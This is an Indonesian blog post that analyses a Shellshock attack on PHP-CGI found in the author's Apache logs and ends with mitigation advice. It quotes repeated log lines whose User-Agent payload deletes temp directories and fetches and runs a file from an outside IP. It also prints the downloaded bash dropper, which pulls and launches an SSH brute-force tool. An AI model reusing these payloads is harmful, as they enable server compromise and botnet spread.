[Security] Serangan pada bug ShellShock melalui PHP-CGI

Sebelum lebih jelas bercerita tentang serangan shellshock ini, ada baiknya juga membaca cerita ini:

http://en.wikipedia.org/wiki/Shellshock_(software_bug)
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
https://shellshocker.net/

Shellshock ini bug yang dirilis kisah vulnerability-nya pada sekitar akhir 2014. Shellshock ini menyerang beberapa service network yang memiliki kemampuan execute command dari sisi client, dengan otentifikasi lemah. Shellshock ini merupakan bug keluarga dari bash bug. Shellshock paling deras menyanyerang webserver Apache yang menjalankan PHP-CGI. Sementara PHP-CGI banyak digunakan oleh layanan hosting untuk melayani multiversi PHP permintaan para client. Perhatikan pada attachment berikut:

5.135.167.145 - - [20/Apr/2015:23:55:29 +0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:30 +0700] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 472 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:31 +0700] "GET /cgi-bin/test.sh HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-bin/tools/tools.pl HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:33 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 479 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 477 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/php5 HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:35 +0700] "GET /phppath/cgi_wrapper HTTP/1.1" 404 474 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:36 +0700] "GET /phppath/php HTTP/1.1" 404 465 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:11 +0700] "GET / HTTP/1.1" 200 524 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"


Ini adalah salah satu bentuk serangan terhadap bug kelemahan shell-shock. Pada kasus ini tampak jelas sekali saat si webserver tersebut berhasil ditest oleh si penyerang, maka si penyerang akan membuat sesuatu pada directory /tmp atau /var/tmp, dan mendownload suatu bash-shell pada tmp tersebut. Saya telah mencoba download salah satu file yang dieksekusi dalam command tersebut.

shellshoc

Saya kemudian membaca perintah-perintah shellnya.

#!/bin/bash
cd /var/tmp/.nynew53
cd /tmp/.nynew53
cat vuln.txt | cut -d " " -f1,2 --output-d=: >t.log
cat nobash.txt | cut -d " " -f1,2,3 --output-d=: >>t.log
./print fortat4
cd /tmp
cd /var/tmp/
rm -rf /tmp/.* &
rm -rf /var/tmp/.* &
cd /var/tmp/
cd /tmp
killall -9 scan brute f b r y start wget curl print pscan pnscan ps minerd &
sleep 10
if which wget ; then
wget http://217.217.198.42/nynew53.gif
else
if which curl ; then
curl -O http://217.217.198.42/nynew53.gif
else
if which fetch ; then
fetch http://217.217.198.42/nynew53.gif
fi
fi
fi
sleep 5
tar xvf nynew53.gif
tar zxvf nynew53.gif
tar xvf  nynew53.gif.1
tar zxvf nynew53.gif.1
tar xzvf nynew53.gif
tar xzvf nynew53.gif.1
sleep 5
cd .nynew53
chmod +x *
nohup ./y &

Saya coba deh execute :D.. dengan menggunakan /tmp. Saya move ke tmp dulu dan saya eksekusikan 😀

sh y.gif

Pertama si program akan mendownload nynews.gif dari sebuah tempat, dan diekstrak dalam tmp, sekaligus dieksekusi. Isi filenya adalah berupa database IP Address dan user password, dan sekaligus akan meng-ssh- kan dan menyimpan dalam database tertentu. Kebetulan sih, permission di komputer saya lumayan nyebelin, jadi saat di netstat tidak muncul serangan SSH dari komputer saya ke IP-IP dalam t.log itu 😀

shellshoc1

shellshoc2
shellshoc3
shellshoc4
shellshoc5

ya sih, aksinya cuma melakukan SSH ke lain tempat. Kalau sampai melakukan root cracking di komputer kita lantas bagaimana :D.. Nah, sebaiknya mulai ditanggulangi. Sekuat tenaga saja..

Untuk menanggulangi hal ini, jika sudah terlanjur menggunakan PHP-CGI, bisa diantisipasi dengan beberapa cara. Update PHP-CGI menjadi PHP-FastCGI, dan atau menambahkan reverse-proxy di depan webserver Apache anda. GET yang dilakukan oleh si penyerang hanya akan dilayani oleh reverse-proxy (nGinX misal) dan tidak akan dilanjutkan pada Apache anda. Tentu dengan konfigurasi tertentu.

Sekian dulu.. Lain kali diupdate 😀

2 thoughts on “[Security] Serangan pada bug ShellShock melalui PHP-CGI

Leave a Reply

Your email address will not be published. Required fields are marked *